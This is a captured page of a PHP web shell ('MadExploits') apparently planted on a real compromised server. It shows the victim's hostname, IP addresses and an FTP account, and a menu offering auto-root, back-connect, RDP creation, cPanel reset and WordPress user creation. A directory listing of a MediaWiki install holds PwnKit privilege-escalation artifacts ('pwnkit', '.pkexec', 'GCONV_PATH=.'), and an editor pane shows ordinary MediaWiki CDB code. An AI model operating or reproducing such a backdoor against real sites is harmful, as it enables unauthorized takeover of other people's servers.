Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
discover /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
actions
[ DIR ]
drwxr-xr-x
api
[ DIR ]
drwxr-xr-x
cache
[ DIR ]
drwxr-xr-x
context
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
debug
[ DIR ]
drwxr-xr-x
diff
[ DIR ]
drwxr-xr-x
extauth
[ DIR ]
drwxr-xr-x
filerepo
[ DIR ]
drwxr-xr-x
installer
[ DIR ]
drwxr-xr-x
interwiki
[ DIR ]
drwxr-xr-x
job
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
logging
[ DIR ]
drwxr-xr-x
media
[ DIR ]
drwxr-xr-x
normal
[ DIR ]
drwxr-xr-x
objectcache
[ DIR ]
drwxr-xr-x
parser
[ DIR ]
drwxr-xr-x
profiler
[ DIR ]
drwxr-xr-x
resourceloader
[ DIR ]
drwxr-xr-x
revisiondelete
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
specials
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxr-xr-x
zhtable
[ DIR ]
drwxr-xr-x
.htaccess
14
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
Action.php
14.69
KB
-rw-r--r--
AjaxDispatcher.php
3.34
KB
-rw-r--r--
AjaxResponse.php
6.32
KB
-rw-r--r--
Article.php
54.32
KB
-rw-r--r--
AuthPlugin.php
7.85
KB
-rw-r--r--
AutoLoader.php
52.01
KB
-rw-r--r--
Autopromote.php
5.92
KB
-rw-r--r--
BacklinkCache.php
9.32
KB
-rw-r--r--
Block.php
33.87
KB
-rw-r--r--
Category.php
8.44
KB
-rw-r--r--
CategoryPage.php
2.58
KB
-rw-r--r--
CategoryViewer.php
20
KB
-rw-r--r--
Categoryfinder.php
5.16
KB
-rw-r--r--
Cdb.php
3.67
KB
-rw-r--r--
Cdb_PHP.php
10.73
KB
-rw-r--r--
ChangeTags.php
8.57
KB
-rw-r--r--
ChangesFeed.php
5.94
KB
-rw-r--r--
ChangesList.php
34.87
KB
-rw-r--r--
Collation.php
9.86
KB
-rw-r--r--
ConfEditor.php
29.16
KB
-rw-r--r--
Cookie.php
6.22
KB
-rw-r--r--
CryptRand.php
17.09
KB
-rw-r--r--
DefaultSettings.php
186.34
KB
-rw-r--r--
DeferredUpdates.php
2.06
KB
-rw-r--r--
Defines.php
7.21
KB
-rw-r--r--
EditPage.php
103.6
KB
-rw-r--r--
Exception.php
13.93
KB
-rw-r--r--
Export.php
32.68
KB
-rw-r--r--
ExternalEdit.php
3.51
KB
-rw-r--r--
ExternalStore.php
4.29
KB
-rw-r--r--
ExternalStoreDB.php
4.47
KB
-rw-r--r--
ExternalStoreHttp.php
463
B
-rw-r--r--
ExternalUser.php
8.96
KB
-rw-r--r--
FakeTitle.php
6.54
KB
-rw-r--r--
Fallback.php
5.61
KB
-rw-r--r--
Feed.php
10.26
KB
-rw-r--r--
FeedUtils.php
6.37
KB
-rw-r--r--
FileDeleteForm.php
10.06
KB
-rw-r--r--
ForkController.php
4.04
KB
-rw-r--r--
FormOptions.php
7.56
KB
-rw-r--r--
GlobalFunctions.php
107.24
KB
-rw-r--r--
HTMLForm.php
53.15
KB
-rw-r--r--
HistoryBlob.php
14.38
KB
-rw-r--r--
Hooks.php
7.89
KB
-rw-r--r--
Html.php
26.4
KB
-rw-r--r--
HttpFunctions.old.php
318
B
-rw-r--r--
HttpFunctions.php
23.29
KB
-rw-r--r--
IP.php
21.76
KB
-rw-r--r--
ImageFunctions.php
2.33
KB
-rw-r--r--
ImageGallery.php
10.42
KB
-rw-r--r--
ImagePage.php
36.96
KB
-rw-r--r--
ImageQueryPage.php
1.5
KB
-rw-r--r--
Import.php
37.73
KB
-rw-r--r--
Init.php
5.19
KB
-rw-r--r--
Licenses.php
4.17
KB
-rw-r--r--
LinkFilter.php
4.46
KB
-rw-r--r--
Linker.php
67.82
KB
-rw-r--r--
LinksUpdate.php
24.83
KB
-rw-r--r--
LocalisationCache.php
31.51
KB
-rw-r--r--
MWFunction.php
2.22
KB
-rw-r--r--
MagicWord.php
19.42
KB
-rw-r--r--
Message.php
15.95
KB
-rw-r--r--
MessageBlobStore.php
10.5
KB
-rw-r--r--
Metadata.php
5.5
KB
-rw-r--r--
MimeMagic.php
32.92
KB
-rw-r--r--
Namespace.php
9.02
KB
-rw-r--r--
OutputHandler.php
4.81
KB
-rw-r--r--
OutputPage.php
104.02
KB
-rw-r--r--
PHPVersionError.php
2.95
KB
-rw-r--r--
PageQueryPage.php
639
B
-rw-r--r--
Pager.php
33.1
KB
-rw-r--r--
PathRouter.php
11.23
KB
-rw-r--r--
PoolCounter.php
5.69
KB
-rw-r--r--
Preferences.php
47.49
KB
-rw-r--r--
PrefixSearch.php
5.55
KB
-rw-r--r--
ProtectionForm.php
20.1
KB
-rw-r--r--
ProxyTools.php
2.5
KB
-rw-r--r--
QueryPage.php
22.78
KB
-rw-r--r--
RecentChange.php
22.31
KB
-rw-r--r--
Revision.php
33.01
KB
-rw-r--r--
RevisionList.php
7.2
KB
-rw-r--r--
Sanitizer.php
52.53
KB
-rw-r--r--
SeleniumWebSettings.php
5.85
KB
-rw-r--r--
Setup.php
16.36
KB
-rw-r--r--
SiteConfiguration.php
12.88
KB
-rw-r--r--
SiteStats.php
11.54
KB
-rw-r--r--
Skin.php
41.11
KB
-rw-r--r--
SkinLegacy.php
20.25
KB
-rw-r--r--
SkinTemplate.php
62.44
KB
-rw-r--r--
SpecialPage.php
32.82
KB
-rw-r--r--
SpecialPageFactory.php
18.3
KB
-rw-r--r--
SquidPurgeClient.php
10.05
KB
-rw-r--r--
Status.php
8.62
KB
-rw-r--r--
StreamFile.php
5.46
KB
-rw-r--r--
StringUtils.php
11.32
KB
-rw-r--r--
StubObject.php
4.61
KB
-rw-r--r--
Title.php
133.73
KB
-rw-r--r--
TitleArray.php
1.95
KB
-rw-r--r--
User.php
116.25
KB
-rw-r--r--
UserArray.php
1.92
KB
-rw-r--r--
UserMailer.php
24.12
KB
-rw-r--r--
UserRightsProxy.php
5.56
KB
-rw-r--r--
ViewCountUpdate.php
3.43
KB
-rw-r--r--
WatchedItem.php
4.81
KB
-rw-r--r--
WebRequest.php
37.03
KB
-rw-r--r--
WebResponse.php
4.29
KB
-rw-r--r--
WebStart.php
4.94
KB
-rw-r--r--
Wiki.php
18.24
KB
-rw-r--r--
WikiCategoryPage.php
618
B
-rw-r--r--
WikiError.php
3.88
KB
-rw-r--r--
WikiFilePage.php
3.71
KB
-rw-r--r--
WikiMap.php
5.38
KB
-rw-r--r--
WikiPage.php
85.98
KB
-rw-r--r--
Xml.php
27.63
KB
-rw-r--r--
XmlTypeCheck.php
2.52
KB
-rw-r--r--
ZhClient.php
2.85
KB
-rw-r--r--
ZhConversion.php
415
KB
-rw-r--r--
ZipDirectoryReader.php
20.33
KB
-rw-r--r--
mime.info
3.86
KB
-rw-r--r--
mime.types
5.24
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
tidy.conf
413
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Cdb_PHP.php
<?php /** * This is a port of D.J. Bernstein's CDB to PHP. It's based on the copy that * appears in PHP 5.3. Changes are: * * Error returns replaced with exceptions * * Exception thrown if sizes or offsets are between 2GB and 4GB * * Some variables renamed * * @file */ /** * Common functions for readers and writers */ class CdbFunctions { /** * Take a modulo of a signed integer as if it were an unsigned integer. * $b must be less than 0x40000000 and greater than 0 * * @param $a * @param $b * * @return int */ public static function unsignedMod( $a, $b ) { if ( $a & 0x80000000 ) { $m = ( $a & 0x7fffffff ) % $b + 2 * ( 0x40000000 % $b ); return $m % $b; } else { return $a % $b; } } /** * Shift a signed integer right as if it were unsigned * @param $a * @param $b * @return int */ public static function unsignedShiftRight( $a, $b ) { if ( $b == 0 ) { return $a; } if ( $a & 0x80000000 ) { return ( ( $a & 0x7fffffff ) >> $b ) | ( 0x40000000 >> ( $b - 1 ) ); } else { return $a >> $b; } } /** * The CDB hash function. * * @param $s * * @return */ public static function hash( $s ) { $h = 5381; for ( $i = 0; $i < strlen( $s ); $i++ ) { $h5 = ($h << 5) & 0xffffffff; // Do a 32-bit sum // Inlined here for speed $sum = ($h & 0x3fffffff) + ($h5 & 0x3fffffff); $h = ( ( $sum & 0x40000000 ? 1 : 0 ) + ( $h & 0x80000000 ? 2 : 0 ) + ( $h & 0x40000000 ? 1 : 0 ) + ( $h5 & 0x80000000 ? 2 : 0 ) + ( $h5 & 0x40000000 ? 1 : 0 ) ) << 30 | ( $sum & 0x3fffffff ); $h ^= ord( $s[$i] ); $h &= 0xffffffff; } return $h; } } /** * CDB reader class */ class CdbReader_PHP extends CdbReader { /** The filename */ var $fileName; /** The file handle */ var $handle; /* number of hash slots searched under this key */ var $loop; /* initialized if loop is nonzero */ var $khash; /* initialized if loop is nonzero */ var $kpos; /* initialized if loop is nonzero */ var $hpos; /* initialized if loop is nonzero */ var $hslots; /* initialized if findNext() returns true */ var $dpos; /* initialized if cdb_findnext() returns 1 */ var $dlen; /** * @param $fileName string */ function __construct( $fileName ) { $this->fileName = $fileName; $this->handle = fopen( $fileName, 'rb' ); if ( !$this->handle ) { throw new MWException( 'Unable to open CDB file "' . $this->fileName . '".' ); } $this->findStart(); } function close() { if( isset( $this->handle ) ) { fclose( $this->handle ); } unset( $this->handle ); } /** * @param $key * @return bool|string */ public function get( $key ) { // strval is required if ( $this->find( strval( $key ) ) ) { return $this->read( $this->dlen, $this->dpos ); } else { return false; } } /** * @param $key * @param $pos * @return bool */ protected function match( $key, $pos ) { $buf = $this->read( strlen( $key ), $pos ); return $buf === $key; } protected function findStart() { $this->loop = 0; } /** * @throws MWException * @param $length * @param $pos * @return string */ protected function read( $length, $pos ) { if ( fseek( $this->handle, $pos ) == -1 ) { // This can easily happen if the internal pointers are incorrect throw new MWException( 'Seek failed, file "' . $this->fileName . '" may be corrupted.' ); } if ( $length == 0 ) { return ''; } $buf = fread( $this->handle, $length ); if ( $buf === false || strlen( $buf ) !== $length ) { throw new MWException( 'Read from CDB file failed, file "' . $this->fileName . '" may be corrupted.' ); } return $buf; } /** * Unpack an unsigned integer and throw an exception if it needs more than 31 bits * @param $s * @return */ protected function unpack31( $s ) { $data = unpack( 'V', $s ); if ( $data[1] > 0x7fffffff ) { throw new MWException( 'Error in CDB file "' . $this->fileName . '", integer too big.' ); } return $data[1]; } /** * Unpack a 32-bit signed integer * @param $s * @return int */ protected function unpackSigned( $s ) { $data = unpack( 'va/vb', $s ); return $data['a'] | ( $data['b'] << 16 ); } /** * @param $key * @return bool */ protected function findNext( $key ) { if ( !$this->loop ) { $u = CdbFunctions::hash( $key ); $buf = $this->read( 8, ( $u << 3 ) & 2047 ); $this->hslots = $this->unpack31( substr( $buf, 4 ) ); if ( !$this->hslots ) { return false; } $this->hpos = $this->unpack31( substr( $buf, 0, 4 ) ); $this->khash = $u; $u = CdbFunctions::unsignedShiftRight( $u, 8 ); $u = CdbFunctions::unsignedMod( $u, $this->hslots ); $u <<= 3; $this->kpos = $this->hpos + $u; } while ( $this->loop < $this->hslots ) { $buf = $this->read( 8, $this->kpos ); $pos = $this->unpack31( substr( $buf, 4 ) ); if ( !$pos ) { return false; } $this->loop += 1; $this->kpos += 8; if ( $this->kpos == $this->hpos + ( $this->hslots << 3 ) ) { $this->kpos = $this->hpos; } $u = $this->unpackSigned( substr( $buf, 0, 4 ) ); if ( $u === $this->khash ) { $buf = $this->read( 8, $pos ); $keyLen = $this->unpack31( substr( $buf, 0, 4 ) ); if ( $keyLen == strlen( $key ) && $this->match( $key, $pos + 8 ) ) { // Found $this->dlen = $this->unpack31( substr( $buf, 4 ) ); $this->dpos = $pos + 8 + $keyLen; return true; } } } return false; } /** * @param $key * @return bool */ protected function find( $key ) { $this->findStart(); return $this->findNext( $key ); } } /** * CDB writer class */ class CdbWriter_PHP extends CdbWriter { var $handle, $realFileName, $tmpFileName; var $hplist; var $numentries, $pos; /** * @param $fileName string */ function __construct( $fileName ) { $this->realFileName = $fileName; $this->tmpFileName = $fileName . '.tmp.' . mt_rand( 0, 0x7fffffff ); $this->handle = fopen( $this->tmpFileName, 'wb' ); if ( !$this->handle ) { $this->throwException( 'Unable to open CDB file "' . $this->tmpFileName . '" for write.' ); } $this->hplist = array(); $this->numentries = 0; $this->pos = 2048; // leaving space for the pointer array, 256 * 8 if ( fseek( $this->handle, $this->pos ) == -1 ) { $this->throwException( 'fseek failed in file "' . $this->tmpFileName . '".' ); } } function __destruct() { if ( isset( $this->handle ) ) { $this->close(); } } /** * @param $key * @param $value * @return */ public function set( $key, $value ) { if ( strval( $key ) === '' ) { // DBA cross-check hack return; } $this->addbegin( strlen( $key ), strlen( $value ) ); $this->write( $key ); $this->write( $value ); $this->addend( strlen( $key ), strlen( $value ), CdbFunctions::hash( $key ) ); } /** * @throws MWException */ public function close() { $this->finish(); if( isset($this->handle) ) { fclose( $this->handle ); } if ( wfIsWindows() && file_exists($this->realFileName) ) { unlink( $this->realFileName ); } if ( !rename( $this->tmpFileName, $this->realFileName ) ) { $this->throwException( 'Unable to move the new CDB file into place.' ); } unset( $this->handle ); } /** * @throws MWException * @param $buf */ protected function write( $buf ) { $len = fwrite( $this->handle, $buf ); if ( $len !== strlen( $buf ) ) { $this->throwException( 'Error writing to CDB file "'.$this->tmpFileName.'".' ); } } /** * @throws MWException * @param $len */ protected function posplus( $len ) { $newpos = $this->pos + $len; if ( $newpos > 0x7fffffff ) { $this->throwException( 'A value in the CDB file "'.$this->tmpFileName.'" is too large.' ); } $this->pos = $newpos; } /** * @param $keylen * @param $datalen * @param $h */ protected function addend( $keylen, $datalen, $h ) { $this->hplist[] = array( 'h' => $h, 'p' => $this->pos ); $this->numentries++; $this->posplus( 8 ); $this->posplus( $keylen ); $this->posplus( $datalen ); } /** * @throws MWException * @param $keylen * @param $datalen */ protected function addbegin( $keylen, $datalen ) { if ( $keylen > 0x7fffffff ) { $this->throwException( 'Key length too long in file "'.$this->tmpFileName.'".' ); } if ( $datalen > 0x7fffffff ) { $this->throwException( 'Data length too long in file "'.$this->tmpFileName.'".' ); } $buf = pack( 'VV', $keylen, $datalen ); $this->write( $buf ); } /** * @throws MWException */ protected function finish() { // Hack for DBA cross-check $this->hplist = array_reverse( $this->hplist ); // Calculate the number of items that will be in each hashtable $counts = array_fill( 0, 256, 0 ); foreach ( $this->hplist as $item ) { ++ $counts[ 255 & $item['h'] ]; } // Fill in $starts with the *end* indexes $starts = array(); $pos = 0; for ( $i = 0; $i < 256; ++$i ) { $pos += $counts[$i]; $starts[$i] = $pos; } // Excessively clever and indulgent code to simultaneously fill $packedTables // with the packed hashtables, and adjust the elements of $starts // to actually point to the starts instead of the ends. $packedTables = array_fill( 0, $this->numentries, false ); foreach ( $this->hplist as $item ) { $packedTables[--$starts[255 & $item['h']]] = $item; } $final = ''; for ( $i = 0; $i < 256; ++$i ) { $count = $counts[$i]; // The size of the hashtable will be double the item count. // The rest of the slots will be empty. $len = $count + $count; $final .= pack( 'VV', $this->pos, $len ); $hashtable = array(); for ( $u = 0; $u < $len; ++$u ) { $hashtable[$u] = array( 'h' => 0, 'p' => 0 ); } // Fill the hashtable, using the next empty slot if the hashed slot // is taken. for ( $u = 0; $u < $count; ++$u ) { $hp = $packedTables[$starts[$i] + $u]; $where = CdbFunctions::unsignedMod( CdbFunctions::unsignedShiftRight( $hp['h'], 8 ), $len ); while ( $hashtable[$where]['p'] ) if ( ++$where == $len ) $where = 0; $hashtable[$where] = $hp; } // Write the hashtable for ( $u = 0; $u < $len; ++$u ) { $buf = pack( 'vvV', $hashtable[$u]['h'] & 0xffff, CdbFunctions::unsignedShiftRight( $hashtable[$u]['h'], 16 ), $hashtable[$u]['p'] ); $this->write( $buf ); $this->posplus( 8 ); } } // Write the pointer array at the start of the file rewind( $this->handle ); if ( ftell( $this->handle ) != 0 ) { $this->throwException( 'Error rewinding to start of file "'.$this->tmpFileName.'".' ); } $this->write( $final ); } /** * Clean up the temp file and throw an exception * * @param $msg string * @throws MWException */ protected function throwException( $msg ) { if ( $this->handle ) { fclose( $this->handle ); unlink( $this->tmpFileName ); } throw new MWException( $msg ); } }
Close